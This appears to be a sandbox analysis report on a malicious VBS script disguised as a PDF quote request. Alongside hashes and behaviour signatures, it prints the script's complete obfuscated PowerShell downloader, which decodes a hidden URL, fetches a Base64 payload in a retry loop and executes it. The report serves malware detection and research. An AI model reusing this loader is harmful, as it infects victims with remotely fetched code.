Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
12-11-2024 18:18
Static task
static1
Behavioral task
behavioral1
Sample
Solicitud de presupuesto 12-11-2024·pdf.vbs
Resource
win7-20240903-en
General
-
Target
Solicitud de presupuesto 12-11-2024·pdf.vbs
-
Size
85KB
-
MD5
ef05b12108686dfa62a992fb2d7dad60
-
SHA1
beecc800e64eae43578d5edf0aedecdf81ff8c45
-
SHA256
46ee1e91ee442be3cb9cec42a4a9bf789fba87b2307856fc0b5fb6caed8f0df9
-
SHA512
d5cd373c685b9306f791032552a48827368ff5043e830bd0f54a478b96b3a4ab182c11facb7845148fe1f3ba9a1865d1ad60fc8808be4b5ad70d4cc58ba01a05
-
SSDEEP
1536:T70tj9e0kFnGd9pZpuoNNC+JksGtp5qskc5ATSo/kNYEkgl1V0QXaAj2khj4:TQp9ehdU9jrPMessTSo/kNY1IVjHh8
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 3 1620 WScript.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2516 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2516 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 1620 wrote to memory of 2516 1620 WScript.exe powershell.exe PID 1620 wrote to memory of 2516 1620 WScript.exe powershell.exe PID 1620 wrote to memory of 2516 1620 WScript.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de presupuesto 12-11-2024·pdf.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Abeigh Uforkortet Stewardernes Mycoprotein Butanernes Bjlers #><#konkordancefil Husmandsbrugene caprioled Differentiations #>$Aflggeres250='Overstalely';function Rollespils($Cinenchym){If ($host.DebuggerEnabled) {$Vankede++;$Basketballkasketten=$Cinenchym.'Length' - $Vankede} for ( $Spndvidden=4;$Spndvidden -lt $Basketballkasketten;$Spndvidden+=5){$Kumpans=$Spndvidden;$Teologen+=$Cinenchym[$Spndvidden]}$Teologen}function Hypotypic($Spndviddenmperii124){ .($Knurrendes) ($Spndviddenmperii124)}$Bed83=Rollespils 'Jerfn CoiE VigTHu k.Un.sWBranEKontB AfsCEnkel brnIIdenESt,enStraTEuda ';$Patientklagenvn=Rollespils ' So,MJub,o Phoz SleiFdselP rtl Frsa.uge/s pp ';$Husholdningsbudgets=Rollespils 'destTP ocl .ossMe,t1P,at2Inte ';$Acetatets=' Haa[MythNrampEfremt Hay. itrstableReawRVencVDisiIpe fC FluE Un PKrgeOBeesiDe.tnEkshTs,gnmTzarAManaN sk.aCha.G NuleSkthR for]G,im: ,ik:EndosEsp.EpetrcSpriuA moRScypI Be,tSelvYMadrPmuktrMet oac,itPre OJillc EksO orLSubl=Enea$ BichCornURi.uSOrdiH ceoAalbLNed.dByt.nKommI ecaN kimGBi.os EneBKontuCounDTnkeGT stEVeneterf SKoba ';$Patientklagenvn+=Rollespils 'Kred5Ost..Aris0Fr v Supe(t ngW EneiTonanRa fdB.too AmiwBygnsN nm ApacNIn oTOire Ham,1Igl.0Char.Jewl0 Cir;Prog FnotW ectiUnasnP,la6Z br4Gamm; Sej CorrxSkde6 Eje4Hur,;Preh SlvsrGubevKomm: Aur1Unen3 Opt1 Des.U pa0Luxm)Go s NonmGAfsneBarocVskek aaoB ka/Sadh2Ange0Mous1Stin0Sy d0 Ber1Tann0 Res1Soes ,eabFAlkyiNebur Afte Oxaf Hyno hasx For/Pash1Suff3 ndu1Sank.Unac0Over ';$Libbard=Rollespils ' Ka.uSundsMontEIncor Am -PlouAImd G ScieTolkN EchtUret ';$Slvtjsskabs=Rollespils ' Civh dretAf.ktKo pp Miss Bud: P r/Tvis/O redThairFurriOpskvWesteRefo. ,pig Peno Havo Gerg BonlAfste Sk..Ko mc BruoMa,mmPeri/YankuIncac Hai?H,use artxTot pI pro oter No tPren=Godkd Humo .luwHv rnShralomd oNonaaBaand Lat&PainiPoladT ed=P.rd1pandoDewao enINoncMSejrdSamiA .ragStud9Beha4 colm Wa RForhdTeksP ollpF,stXCh,oI prDMeteGF lbZTempA MetRAttrESkats spaD Fy EorogeHaneV C m0 BekFTurbzSmu w Dy,iEmb ';$Absenteringer=Rollespils 'Step>Styl ';$Knurrendes=Rollespils 'GeneI VivE uryX Und ';$Unblooming='Skjaldedigtenes';$Smilehullets='\Monactinal.Emb';Hypotypic (Rollespils 'Hydr$leasGS,alLOmvaoOrk,B Alta.obblVek :StonsTermUOpman P mDS baE.rthRC.riiTurbNsku GAcqu=,zbl$Natae raN t.kv Sa :Il xAIretPMerbPA prD Anaa UdvTReseaPeng+Udry$LyxoSCir,m bwaIL ggLPompe Corhspecu.ebil orLAnaneSundtCanosGali ');Hypotypic (Rollespils 'Kedg$ gtgAvoclVinloSqu b VidA Tirl F e:PrenASammnU mit Poli .mtPChinASkritDul,RRe,sICafeaTr er M oCSparh OcyY oks=Lilt$MeanSCoroLPl rVBraat yltjBlddsIntes ernk,rudA R abShunSLin..Ful.sS itP ImpLUdsgIXyletVld.( str$ d,tACygnbSurrS H meAntindermtL ude yfor,reci EffN S gGCompeForkRRehy),and ');Hypotypic (Rollespils $Acetatets);$Slvtjsskabs=$Antipatriarchy[0];$Uninurned=(Rollespils ' ,wa$cancGHalmLAttro D,nB Ld,a StjlO tr:.nashLi hAMu lg SteGSqueARyggdNrmeIFe rSRykkTmatc=Roqun nste P nw Sa.- Brno,hevBSyphJSlvtEG nncRegetBill G,lvS Ba,YBob sSl,hT DonEHandMKryp. Poc$HexabWifeeAnthDApex8Refi3Cram ');Hypotypic ($Uninurned);Hypotypic (Rollespils ' A.t$Pa,rHEtata,ophg OligVirkaStradGuldiProtsAarotAfri.DipyH Cr eJordaEpidd VideMenir BrasTr n[Para$ PraLSq,ii agtbUnc b LanaLaenramphdEfte]Ops =Udfo$ProtPTrafaFangt VrdiRunde I.qnDumetKna,kShellRefraTyvsgDumpealtnnKae vUgebnWhin ');$Kraniebrud=Rollespils 'Fir,$AandHLeptaUdspg yspgC isaombudVaudiBon sTrantStra.IndbDAh soIndewSjagnW.itlcoeno Pita SkedWoodF ejfi aral C neFolk( Ram$ verS Lu lCharvS.ert BygjKonts ,issSepak lluaA hmbPipes per,undi$sluto emas UnctGathe Je oRefrsGynkt,mproSeksm VovoSikruOrddsStan)Foel ';$osteostomous=$Sundering;Hypotypic (Rollespils 'Ak e$ UniGQuinlEchiOUnacbLinja UnclC.to:EnhetPotaU ol rTrivnT ekuHereSRenoK BunA MannKlapDu.deIJemmdPaupa nikTForn=Enfe(TabtTPindEStikSUnprTNyph-SkarpDoliARef,tforpH Bur Re,o$BrdkoAnnosApp tBureEP llo Skos F rtStupoA thMLu tORosauConcSAlon)Omgn ');while (!$Turnuskandidat) {Hypotypic (Rollespils 'B,st$ TougIn rlQuifoTriebSteaaSplel Bal:UnobIHaqunp ers UnceSlvec.afttPermiElecfForpuRemeg KabeDefe= rem$DesitKopir AntuBemyeAppr ') ;Hypotypic $Kraniebrud;Hypotypic (Rollespils '.ollSUdkmTUnacAUbesrGa.eT V r-,indsTra.L pfiEBlaaePreipSkra eu4Ines ');Hypotypic (Rollespils 'Flec$acquG SpllUnupoTykkBS.adAForml Cor:BfdetForsU.verr ,nmn IlyuSta SLystKNaglaAftrnImprd ComI Biod GlyaCedeT Gr = Nic( Soct rareTan SArchTSikr-Sa,oPDebaaDeviTClauh Bl Pa n$CaraoJ rns FraTUnmoEcym,oDknisacidtBromORhizMNogeO pfiU ollsUnpa)Pede ') ;Hypotypic (Rollespils 'Notu$Restg emilKi dOPallBHyp.aBereLBor : ysta aurmForsoenebRUdd,IguavSAngutCh.r=Swil$SeksGSidel B ioVedtbKeckaNstelLine:EkspoLasev MurETranr U tBDodeE hel nsAPladS BaltSubjEDoctR.rst+Chir+Rath%Acco$St eaPrivNMulttNonmIsponpTravaMyxoTKlberT keISidea iderTropcHe.oH AgeYI ra. BorCBruxo L,nUS.rgnFrisTNon. ') ;$Slvtjsskabs=$Antipatriarchy[$Amorist]}$Kontohaverens=309792;$Patrocinium=31679;Hypotypic (Rollespils ' T n$ FriG Un.L BeaO NonBAnabaKeraL,ant:KngtVOphuaBegon Ra dAgelSLa oK Unir UnikSvinkudfoeDogbNTr ks lag Eje =Re,u PneugT pwEUd itImpo- hinc PreoRiddnSyretk,rtE Pa NUnsut Tos .pis$SpknOSnebSCoenTIntee Stio oftsParatUncoo nhamOrobo Arcu CraSuun, ');Hypotypic (Rollespils 'Gni $OplagOverlMonooLderbScopaMennl Hn,:NgoeDUnf iSkydaSldepDia,eQ ayr ConsDa b Med =Ph t Cent[RelaSCentyPas.sEavet,utoeCo.mmSemi. UdaC SkooSdemnPresv E.tePne rFilitUns ]Nema:garg:UnseFJ cyr Ri o M sm tilBThyra T ks ZomeHone6Trio4AdreSFritt LevrTekni A.pnWhisgSar (n ni$JourV ChaaFerinSo.rdC dfsTen k E.trBethkNickkLagre Ba nKrimsPick)Tr g ');Hypotypic (Rollespils 'togg$ PergheksL ddaOEkspbKa,fa,lepl Ren:WintP V.jrDukkoStrmT lgpoEneiKOv.rOSydhLSmerl onECon RBirtE Co NPa fdFortE wx Kal=Felo ng[.lexSSemiytrensS ndTforgeD tamSava.Dim T terEl vkXMe ut Wro.Fe,aE Ba NA leCFor oAminD rniIKordnAnnaG fr ]Pseu: ae:Bi.sA antSRegnC iscISer,IR st. lysGMogieSt utSp,sSEngitHaanrPungi FejN ForGFisk( met$ TemdPto iInapAtenaP T.keKl rr.ldesFort)Desp ');Hypotypic (Rollespils 'J ve$ naGUnamLSlevO adiB P,lABersli ce:bunsCAnomh BerABunkN BrigKoncE radA ParBZobllKan.EJogg=Kval$LargPS.kkRnonsO ConTantaoDuroKRekuoNew,LBerslPiscE Svir PeaeLittnCre dKanae Ort.RabasTrenuStinB calsFastTPsykrSalviengonTendgOcca(Skot$Ty,gKFrusoReilnGaintLattOC,lahN,nna Lovv vivEB,drR.snieMannnStttsMeto,Dato$Sp oPViv aEx.nt ,onr RunOQuadc ilhITugtn,onfichilUTourm tri)Wayt ');Hypotypic $Changeable;"2⤵
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2516
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b